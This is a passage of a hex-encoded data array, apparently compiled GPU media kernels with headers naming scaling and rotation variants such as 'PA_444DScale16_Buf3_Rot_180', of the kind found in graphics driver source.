0x5f667542, 0x00000033, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff0009,
0x00000080, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001, 0x000001e0, 0x3fff0005,
0x00000210, 0x3fff0002, 0x00000240, 0x3fff0000, 0x00000270, 0x3fff0006, 0x00000530, 0xbfff003a,
0x00000560, 0xbfff0042, 0x00000590, 0xbfff003c, 0x000005c0, 0xbfff0044, 0x000005f0, 0xbfff003e,
0x00000620, 0xbfff0046, 0x00000650, 0xbfff0040, 0x00000690, 0x3fff007c, 0x000006a0, 0xbfff0048,
0x000006b0, 0x3fff007b, 0x000006b0, 0x3fff0003, 0x000006e0, 0x3fff0004, 0x00000860, 0x0005006d,
0x00000860, 0x0005006e, 0x00000860, 0x0005006f, 0x00000860, 0x00050070, 0x00000860, 0x00050071,
0x000008a0, 0x3fff0072, 0x000008c0, 0xbfff003b, 0x000008d0, 0x3fff0073, 0x000008f0, 0xbfff0043,
0x00000900, 0x3fff0074, 0x00000920, 0xbfff003d, 0x00000930, 0x3fff0075, 0x00000950, 0xbfff0045,
0x00000960, 0x3fff0076, 0x00000980, 0xbfff003f, 0x00000990, 0x3fff0077, 0x000009b0, 0xbfff0047,
0x000009c0, 0x3fff0078, 0x000009e0, 0xbfff0041, 0x000009f0, 0x3fff007a, 0x000009f0, 0x3fff0079,
0x00000a10, 0x3fff006c, 0x00000a10, 0xbfff0049, 0x00000a30, 0xbfff006b, 0x00000000, 0x00000000,
0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002,
0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004,
0x00000000, 0x0000002c, 0x00000016, 0x00000005, 0x00000001, 0x00000044, 0x00000028, 0x00000006,
0x00000001, 0x0000006c, 0x00000148, 0x00000007, 0x00000001, 0x000001b4, 0x00000002, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000001c0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x44343434, 0x6c616353, 0x5f363165,
0x5f667542, 0x6f525f33, 0x38315f74, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000030, 0x3fff0009, 0x00000080, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001,
0x000001b0, 0x3fff0000, 0x00000250, 0x3fff0006, 0x00000260, 0x3fff0002, 0x000002a0, 0x3fff0005,
0x00000540, 0xbfff003a, 0x00000570, 0xbfff0042, 0x000005a0, 0xbfff003c, 0x000005d0, 0xbfff0044,
0x00000600, 0xbfff003e, 0x00000630, 0xbfff0046, 0x00000660, 0xbfff0040, 0x000006a0, 0x3fff007c,
0x000006b0, 0xbfff0048, 0x000006c0, 0x3fff007b, 0x000006c0, 0x3fff0003, 0x000006f0, 0x3fff0004,
0x00000870, 0x0005006d, 0x00000870, 0x0005006e, 0x00000870, 0x0005006f, 0x00000870, 0x00050070,
0x00000870, 0x00050071, 0x000008b0, 0x3fff0072, 0x000008d0, 0xbfff003b, 0x000008e0, 0x3fff0073,
0x00000900, 0xbfff0043, 0x00000910, 0x3fff0074, 0x00000930, 0xbfff003d, 0x00000940, 0x3fff0075,
0x00000960, 0xbfff0045, 0x00000970, 0x3fff0076, 0x00000990, 0xbfff003f, 0x000009a0, 0x3fff0077,
0x000009c0, 0xbfff0047, 0x000009d0, 0x3fff0078, 0x000009f0, 0xbfff0041, 0x00000a00, 0x3fff007a,
0x00000a00, 0x3fff0079, 0x00000a20, 0x3fff006c, 0x00000a20, 0xbfff0049, 0x00000a40, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001e, 0x00000005, 0x00000001, 0x0000004c,
0x00000028, 0x00000006, 0x00000001, 0x00000074, 0x00000148, 0x00000007, 0x00000001, 0x000001bc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001c0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x44343434, 0x6c616353, 0x5f363165,
0x5f667542, 0x6f525f33, 0x37325f74, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000030, 0x3fff0009, 0x00000080, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001,
0x000001a0, 0x3fff0002, 0x00000240, 0x3fff0006, 0x00000250, 0x3fff0005, 0x00000280, 0x3fff0000,
0x00000570, 0xbfff003a, 0x000005a0, 0xbfff0042, 0x000005d0, 0xbfff003c, 0x00000600, 0xbfff0044,
0x00000630, 0xbfff003e, 0x00000660, 0xbfff0046, 0x00000690, 0xbfff0040, 0x000006e0, 0xbfff0048,
0x000006f0, 0x3fff0003, 0x00000700, 0x3fff007c, 0x00000710, 0x3fff007b, 0x00000710, 0x3fff0004,
0x00000890, 0x0005006d, 0x00000890, 0x0005006e, 0x00000890, 0x0005006f, 0x00000890, 0x00050070,
0x00000890, 0x00050071, 0x000008d0, 0x3fff0072, 0x000008f0, 0xbfff003b, 0x00000900, 0x3fff0073,
0x00000920, 0xbfff0043, 0x00000930, 0x3fff0074, 0x00000950, 0xbfff003d, 0x00000960, 0x3fff0075,
0x00000980, 0xbfff0045, 0x00000990, 0x3fff0076, 0x000009b0, 0xbfff003f, 0x000009c0, 0x3fff0077,
0x000009e0, 0xbfff0047, 0x000009f0, 0x3fff0078, 0x00000a10, 0xbfff0041, 0x00000a20, 0x3fff007a,
0x00000a20, 0x3fff0079, 0x00000a40, 0x3fff006c, 0x00000a40, 0xbfff0049, 0x00000a60, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001e, 0x00000005, 0x00000001, 0x0000004c,
0x00000028, 0x00000006, 0x00000001, 0x00000074, 0x00000148, 0x00000007, 0x00000001, 0x000001bc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001c0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x44343434, 0x6c616353, 0x5f363165,
0x5f667542, 0x6f525f33, 0x30395f74, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000030, 0x3fff0009, 0x00000080, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001,
0x00000190, 0x3fff0002, 0x00000210, 0x3fff0006, 0x00000220, 0x3fff0005, 0x00000250, 0x3fff0000,
0x00000540, 0xbfff003a, 0x00000570, 0xbfff0042, 0x000005a0, 0xbfff003c, 0x000005d0, 0xbfff0044,
0x00000600, 0xbfff003e, 0x00000630, 0xbfff0046, 0x00000660, 0xbfff0040, 0x000006b0, 0xbfff0048,
0x000006c0, 0x3fff0003, 0x000006d0, 0x3fff007c, 0x000006e0, 0x3fff007b, 0x000006e0, 0x3fff0004,
0x00000860, 0x0005006d, 0x00000860, 0x0005006e, 0x00000860, 0x0005006f, 0x00000860, 0x00050070,
0x00000860, 0x00050071, 0x000008a0, 0x3fff0072, 0x000008c0, 0xbfff003b, 0x000008d0, 0x3fff0073,
0x000008f0, 0xbfff0043, 0x00000900, 0x3fff0074, 0x00000920, 0xbfff003d, 0x00000930, 0x3fff0075,
0x00000950, 0xbfff0045, 0x00000960, 0x3fff0076, 0x00000980, 0xbfff003f, 0x00000990, 0x3fff0077,
0x000009b0, 0xbfff0047, 0x000009c0, 0x3fff0078, 0x000009e0, 0xbfff0041, 0x000009f0, 0x3fff007a,
0x000009f0, 0x3fff0079, 0x00000a10, 0x3fff006c, 0x00000a10, 0xbfff0049, 0x00000a30, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001d, 0x00000005, 0x00000001, 0x0000004c,
0x00000028, 0x00000006, 0x00000001, 0x00000074, 0x00000148, 0x00000007, 0x00000001, 0x000001bc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001b8, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x44343434, 0x6c616353, 0x5f363165,
0x5f667542, 0x00000034, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff006a,
0x00000050, 0x3fff006b, 0x000000e0, 0x0000ffff, 0x00000100, 0x3fff0001, 0x00000280, 0x3fff0002,
0x000002c0, 0x3fff0003, 0x000002d0, 0x3fff0006, 0x00000300, 0x3fff0004, 0x00000310, 0x3fff0005,
0x000003b0, 0x3fff0000, 0x00000670, 0xbfff004a, 0x000006a0, 0xbfff0052, 0x000006d0, 0xbfff004c,
0x00000700, 0xbfff0054, 0x00000730, 0xbfff004e, 0x00000760, 0xbfff0056, 0x00000790, 0xbfff0050,
0x000007d0, 0x3fff007c, 0x000007e0, 0xbfff0058, 0x000007f0, 0x3fff007b, 0x000009a0, 0x0005006d,
0x000009a0, 0x0005006e, 0x000009a0, 0x0005006f, 0x000009a0, 0x00050070, 0x000009a0, 0x00050071,
0x000009e0, 0x3fff0072, 0x00000a00, 0xbfff004b, 0x00000a10, 0x3fff0073, 0x00000a30, 0xbfff0053,
0x00000a40, 0x3fff0074, 0x00000a60, 0xbfff004d, 0x00000a70, 0x3fff0075, 0x00000a90, 0xbfff0055,
0x00000aa0, 0x3fff0076, 0x00000ac0, 0xbfff004f, 0x00000ad0, 0x3fff0077, 0x00000af0, 0xbfff0057,
0x00000b00, 0x3fff0078, 0x00000b20, 0xbfff0051, 0x00000b30, 0x3fff007a, 0x00000b30, 0x3fff0079,
0x00000b50, 0x3fff006c, 0x00000b50, 0xbfff0059, 0x00000b70, 0xbfff006b, 0x00000000, 0x00000000,
0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002,
0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004,
0x00000000, 0x0000002c, 0x00000016, 0x00000005, 0x00000001, 0x00000044, 0x00000028, 0x00000006,
0x00000001, 0x0000006c, 0x00000148, 0x00000007, 0x00000001, 0x000001b4, 0x00000002, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000001c0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x44343434, 0x6c616373, 0x5f363165,
0x5f667542, 0x6f525f34, 0x38315f74, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000030, 0x3fff006a, 0x00000050, 0x3fff006b, 0x000000e0, 0x0000ffff, 0x00000100, 0x3fff0001,
0x000002b0, 0x3fff0003, 0x000002c0, 0x3fff0006, 0x000002e0, 0x3fff0002, 0x00000300, 0x3fff0004,
0x00000310, 0x3fff0005, 0x000003b0, 0x3fff0000, 0x00000670, 0xbfff004a, 0x000006a0, 0xbfff0052,
0x000006d0, 0xbfff004c, 0x00000700, 0xbfff0054, 0x00000730, 0xbfff004e, 0x00000760, 0xbfff0056,
0x00000790, 0xbfff0050, 0x000007d0, 0x3fff007c, 0x000007e0, 0xbfff0058, 0x000007f0, 0x3fff007b,
0x000009a0, 0x0005006d, 0x000009a0, 0x0005006e, 0x000009a0, 0x0005006f, 0x000009a0, 0x00050070,
0x000009a0, 0x00050071, 0x000009e0, 0x3fff0072, 0x00000a00, 0xbfff004b, 0x00000a10, 0x3fff0073,
0x00000a30, 0xbfff0053, 0x00000a40, 0x3fff0074, 0x00000a60, 0xbfff004d, 0x00000a70, 0x3fff0075,
0x00000a90, 0xbfff0055, 0x00000aa0, 0x3fff0076, 0x00000ac0, 0xbfff004f, 0x00000ad0, 0x3fff0077,
0x00000af0, 0xbfff0057, 0x00000b00, 0x3fff0078, 0x00000b20, 0xbfff0051, 0x00000b30, 0x3fff007a,
0x00000b30, 0x3fff0079, 0x00000b50, 0x3fff006c, 0x00000b50, 0xbfff0059, 0x00000b70, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001e, 0x00000005, 0x00000001, 0x0000004c,
0x00000028, 0x00000006, 0x00000001, 0x00000074, 0x00000148, 0x00000007, 0x00000001, 0x000001bc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001c0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x44343434, 0x6c616373, 0x5f363165,
0x5f667542, 0x6f525f34, 0x37325f74, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000030, 0x3fff006a, 0x00000050, 0x3fff006b, 0x000000e0, 0x0000ffff, 0x00000100, 0x3fff0001,
0x00000290, 0x3fff0003, 0x000002a0, 0x3fff0006, 0x000002d0, 0x3fff0002, 0x00000310, 0x3fff0004,
0x00000320, 0x3fff0005, 0x000003c0, 0x3fff0000, 0x00000690, 0xbfff004a, 0x000006c0, 0xbfff0052,
0x000006f0, 0xbfff004c, 0x00000720, 0xbfff0054, 0x00000750, 0xbfff004e, 0x00000780, 0xbfff0056,
0x000007b0, 0xbfff0050, 0x00000800, 0xbfff0058, 0x00000820, 0x3fff007c, 0x00000830, 0x3fff007b,
0x000009b0, 0x0005006d, 0x000009b0, 0x0005006e, 0x000009b0, 0x0005006f, 0x000009b0, 0x00050070,
0x000009b0, 0x00050071, 0x000009f0, 0x3fff0072, 0x00000a10, 0xbfff004b, 0x00000a20, 0x3fff0073,
0x00000a40, 0xbfff0053, 0x00000a50, 0x3fff0074, 0x00000a70, 0xbfff004d, 0x00000a80, 0x3fff0075,
0x00000aa0, 0xbfff0055, 0x00000ab0, 0x3fff0076, 0x00000ad0, 0xbfff004f, 0x00000ae0, 0x3fff0077,
0x00000b00, 0xbfff0057, 0x00000b10, 0x3fff0078, 0x00000b30, 0xbfff0051, 0x00000b40, 0x3fff007a,
0x00000b40, 0x3fff0079, 0x00000b60, 0x3fff006c, 0x00000b60, 0xbfff0059, 0x00000b80, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001e, 0x00000005, 0x00000001, 0x0000004c,
0x00000028, 0x00000006, 0x00000001, 0x00000074, 0x00000148, 0x00000007, 0x00000001, 0x000001bc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001c0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x44343434, 0x6c616373, 0x5f363165,
0x5f667542, 0x6f525f34, 0x30395f74, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000030, 0x3fff006a, 0x00000050, 0x3fff006b, 0x000000e0, 0x0000ffff, 0x00000100, 0x3fff0001,
0x00000250, 0x3fff0003, 0x00000260, 0x3fff0006, 0x000002c0, 0x3fff0002, 0x000002f0, 0x3fff0004,
0x00000300, 0x3fff0005, 0x000003a0, 0x3fff0000, 0x00000670, 0xbfff004a, 0x000006a0, 0xbfff0052,
0x000006d0, 0xbfff004c, 0x00000700, 0xbfff0054, 0x00000730, 0xbfff004e, 0x00000760, 0xbfff0056,
0x00000790, 0xbfff0050, 0x000007e0, 0xbfff0058, 0x00000800, 0x3fff007c, 0x00000810, 0x3fff007b,
0x00000990, 0x0005006d, 0x00000990, 0x0005006e, 0x00000990, 0x0005006f, 0x00000990, 0x00050070,
0x00000990, 0x00050071, 0x000009d0, 0x3fff0072, 0x000009f0, 0xbfff004b, 0x00000a00, 0x3fff0073,
0x00000a20, 0xbfff0053, 0x00000a30, 0x3fff0074, 0x00000a50, 0xbfff004d, 0x00000a60, 0x3fff0075,
0x00000a80, 0xbfff0055, 0x00000a90, 0x3fff0076, 0x00000ab0, 0xbfff004f, 0x00000ac0, 0x3fff0077,
0x00000ae0, 0xbfff0057, 0x00000af0, 0x3fff0078, 0x00000b10, 0xbfff0051, 0x00000b20, 0x3fff007a,
0x00000b20, 0x3fff0079, 0x00000b40, 0x3fff006c, 0x00000b40, 0xbfff0059, 0x00000b60, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001d, 0x00000005, 0x00000001, 0x0000004c,
0x00000028, 0x00000006, 0x00000001, 0x00000074, 0x00000148, 0x00000007, 0x00000001, 0x000001bc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001b8, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x44343434, 0x6c616353, 0x5f363165,
0x5f667542, 0x00000035, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000040, 0x3fff006b,
0x00000050, 0x3fff006a, 0x000000f0, 0x0000ffff, 0x00000110, 0x3fff0001, 0x00000290, 0x3fff0002,
0x000002d0, 0x3fff0003, 0x000002e0, 0x3fff0006, 0x00000310, 0x3fff0004, 0x00000320, 0x3fff0005,
0x000003c0, 0x3fff0000, 0x00000690, 0xbfff005a, 0x000006c0, 0xbfff0062, 0x000006f0, 0xbfff005c,
0x00000720, 0xbfff0064, 0x00000750, 0xbfff005e, 0x00000780, 0xbfff0066, 0x000007b0, 0xbfff0060,
0x000007f0, 0x3fff007c, 0x00000800, 0xbfff0068, 0x00000810, 0x3fff007b, 0x000009c0, 0x0005006d,
0x000009c0, 0x0005006e, 0x000009c0, 0x0005006f, 0x000009c0, 0x00050070, 0x000009c0, 0x00050071,
0x00000a00, 0x3fff0072, 0x00000a20, 0xbfff005b, 0x00000a30, 0x3fff0073, 0x00000a50, 0xbfff0063,
0x00000a60, 0x3fff0074, 0x00000a80, 0xbfff005d, 0x00000a90, 0x3fff0075, 0x00000ab0, 0xbfff0065,
0x00000ac0, 0x3fff0076, 0x00000ae0, 0xbfff005f, 0x00000af0, 0x3fff0077, 0x00000b10, 0xbfff0067,
0x00000b20, 0x3fff0078, 0x00000b40, 0xbfff0061, 0x00000b50, 0x3fff007a, 0x00000b50, 0x3fff0079,
0x00000b70, 0x3fff006c, 0x00000b70, 0xbfff0069, 0x00000b90, 0xbfff006b, 0x00000000, 0x00000000,
0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002,
0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004,
0x00000000, 0x0000002c, 0x00000016, 0x00000005, 0x00000001, 0x00000044, 0x00000028, 0x00000006,
0x00000001, 0x0000006c, 0x00000148, 0x00000007, 0x00000001, 0x000001b4, 0x00000002, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000001c0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x44343434, 0x6c616373, 0x5f363165,
0x5f667542, 0x6f525f35, 0x38315f74, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000040, 0x3fff006b, 0x00000050, 0x3fff006a, 0x000000f0, 0x0000ffff, 0x00000110, 0x3fff0001,
0x000002c0, 0x3fff0003, 0x000002d0, 0x3fff0006, 0x000002f0, 0x3fff0002, 0x00000310, 0x3fff0004,
0x00000320, 0x3fff0005, 0x000003c0, 0x3fff0000, 0x00000690, 0xbfff005a, 0x000006c0, 0xbfff0062,
0x000006f0, 0xbfff005c, 0x00000720, 0xbfff0064, 0x00000750, 0xbfff005e, 0x00000780, 0xbfff0066,
0x000007b0, 0xbfff0060, 0x000007f0, 0x3fff007c, 0x00000800, 0xbfff0068, 0x00000810, 0x3fff007b,
0x000009c0, 0x0005006d, 0x000009c0, 0x0005006e, 0x000009c0, 0x0005006f, 0x000009c0, 0x00050070,
0x000009c0, 0x00050071, 0x00000a00, 0x3fff0072, 0x00000a20, 0xbfff005b, 0x00000a30, 0x3fff0073,
0x00000a50, 0xbfff0063, 0x00000a60, 0x3fff0074, 0x00000a80, 0xbfff005d, 0x00000a90, 0x3fff0075,
0x00000ab0, 0xbfff0065, 0x00000ac0, 0x3fff0076, 0x00000ae0, 0xbfff005f, 0x00000af0, 0x3fff0077,
0x00000b10, 0xbfff0067, 0x00000b20, 0x3fff0078, 0x00000b40, 0xbfff0061, 0x00000b50, 0x3fff007a,
0x00000b50, 0x3fff0079, 0x00000b70, 0x3fff006c, 0x00000b70, 0xbfff0069, 0x00000b90, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001e, 0x00000005, 0x00000001, 0x0000004c,
0x00000028, 0x00000006, 0x00000001, 0x00000074, 0x00000148, 0x00000007, 0x00000001, 0x000001bc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001c0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x44343434, 0x6c616373, 0x5f363165,
0x5f667542, 0x6f525f35, 0x37325f74, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000040, 0x3fff006b, 0x00000050, 0x3fff006a, 0x000000f0, 0x0000ffff, 0x00000110, 0x3fff0001,
0x000002a0, 0x3fff0003, 0x000002b0, 0x3fff0006, 0x000002e0, 0x3fff0002, 0x00000320, 0x3fff0004,
0x00000330, 0x3fff0005, 0x000003d0, 0x3fff0000, 0x000006c0, 0xbfff005a, 0x000006f0, 0xbfff0062,
0x00000720, 0xbfff005c, 0x00000750, 0xbfff0064, 0x00000780, 0xbfff005e, 0x000007b0, 0xbfff0066,
0x000007e0, 0xbfff0060, 0x00000830, 0xbfff0068, 0x00000850, 0x3fff007c, 0x00000860, 0x3fff007b,
0x000009e0, 0x0005006d, 0x000009e0, 0x0005006e, 0x000009e0, 0x0005006f, 0x000009e0, 0x00050070,
0x000009e0, 0x00050071, 0x00000a20, 0x3fff0072, 0x00000a40, 0xbfff005b, 0x00000a50, 0x3fff0073,
0x00000a70, 0xbfff0063, 0x00000a80, 0x3fff0074, 0x00000aa0, 0xbfff005d, 0x00000ab0, 0x3fff0075,
0x00000ad0, 0xbfff0065, 0x00000ae0, 0x3fff0076, 0x00000b00, 0xbfff005f, 0x00000b10, 0x3fff0077,
0x00000b30, 0xbfff0067, 0x00000b40, 0x3fff0078, 0x00000b60, 0xbfff0061, 0x00000b70, 0x3fff007a,
0x00000b70, 0x3fff0079, 0x00000b90, 0x3fff006c, 0x00000b90, 0xbfff0069, 0x00000bb0, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001e, 0x00000005, 0x00000001, 0x0000004c,
0x00000028, 0x00000006, 0x00000001, 0x00000074, 0x00000148, 0x00000007, 0x00000001, 0x000001bc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001c0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x44343434, 0x6c616373, 0x5f363165,
0x5f667542, 0x6f525f35, 0x30395f74, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000040, 0x3fff006b, 0x00000050, 0x3fff006a, 0x000000f0, 0x0000ffff, 0x00000110, 0x3fff0001,
0x00000260, 0x3fff0003, 0x00000270, 0x3fff0006, 0x000002d0, 0x3fff0002, 0x00000300, 0x3fff0004,
0x00000310, 0x3fff0005, 0x000003b0, 0x3fff0000, 0x000006a0, 0xbfff005a, 0x000006d0, 0xbfff0062,
0x00000700, 0xbfff005c, 0x00000730, 0xbfff0064, 0x00000760, 0xbfff005e, 0x00000790, 0xbfff0066,
0x000007c0, 0xbfff0060, 0x00000810, 0xbfff0068, 0x00000830, 0x3fff007c, 0x00000840, 0x3fff007b,
0x000009c0, 0x0005006d, 0x000009c0, 0x0005006e, 0x000009c0, 0x0005006f, 0x000009c0, 0x00050070,
0x000009c0, 0x00050071, 0x00000a00, 0x3fff0072, 0x00000a20, 0xbfff005b, 0x00000a30, 0x3fff0073,
0x00000a50, 0xbfff0063, 0x00000a60, 0x3fff0074, 0x00000a80, 0xbfff005d, 0x00000a90, 0x3fff0075,
0x00000ab0, 0xbfff0065, 0x00000ac0, 0x3fff0076, 0x00000ae0, 0xbfff005f, 0x00000af0, 0x3fff0077,
0x00000b10, 0xbfff0067, 0x00000b20, 0x3fff0078, 0x00000b40, 0xbfff0061, 0x00000b50, 0x3fff007a,
0x00000b50, 0x3fff0079, 0x00000b70, 0x3fff006c, 0x00000b70, 0xbfff0069, 0x00000b90, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001d, 0x00000005, 0x00000001, 0x0000004c,
0x00000028, 0x00000006, 0x00000001, 0x00000074, 0x00000148, 0x00000007, 0x00000001, 0x000001bc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001e0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x69343434, 0x61635344, 0x3631656c,
0x6675425f, 0x0000305f, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d,
0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e, 0x00000070, 0xbfff006b, 0x00000090, 0x0000ffff,
0x000000a0, 0x3fff0002, 0x000000d0, 0x3fff0001, 0x000001a0, 0x3fff0006, 0x000001b0, 0x3fff0005,
0x00000200, 0x3fff0000, 0x00000490, 0xbfff000a, 0x000004c0, 0xbfff0012, 0x000004f0, 0xbfff000c,
0x00000530, 0xbfff0014, 0x00000590, 0xbfff0016, 0x000005d0, 0xbfff000e, 0x000005e0, 0xbfff0010,
0x00000630, 0xbfff0018, 0x00000640, 0x3fff0003, 0x00000790, 0x3fff0004, 0x000007e0, 0x00050076,
0x00000810, 0x3fff0077, 0x00000820, 0x3fff0079, 0x00000830, 0x3fff007f, 0x00000850, 0xbfff000b,
0x00000860, 0x3fff0078, 0x00000870, 0x3fff007b, 0x00000890, 0x3fff007c, 0x000008a0, 0x3fff007d,
0x000008b0, 0xbfff000d, 0x000008c0, 0xbfff0013, 0x000008d0, 0x3fff007e, 0x000008e0, 0x3fff0070,
0x000008e0, 0x3fff007a, 0x000008f0, 0x3fff0071, 0x00000900, 0x3fff0073, 0x00000910, 0x3fff0075,
0x00000930, 0x3fff006e, 0x00000940, 0x3fff0072, 0x00000940, 0xbfff000f, 0x00000950, 0x3fff0074,
0x00000950, 0xbfff0017, 0x00000960, 0x3fff006d, 0x00000960, 0xbfff0011, 0x00000970, 0x3fff006f,
0x00000970, 0xbfff0015, 0x00000980, 0x3fff006c, 0x00000980, 0xbfff0019, 0x000009a0, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000017, 0x00000005, 0x00000001, 0x00000044,
0x00000038, 0x00000006, 0x00000001, 0x0000007c, 0x00000160, 0x00000007, 0x00000001, 0x000001dc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001e0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x69343434, 0x61635344, 0x3631656c,
0x6675425f, 0x0000315f, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d,
0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e, 0x00000070, 0xbfff006b, 0x00000090, 0x0000ffff,
0x000000a0, 0x3fff0002, 0x000000d0, 0x3fff0001, 0x000001a0, 0x3fff0006, 0x000001b0, 0x3fff0005,
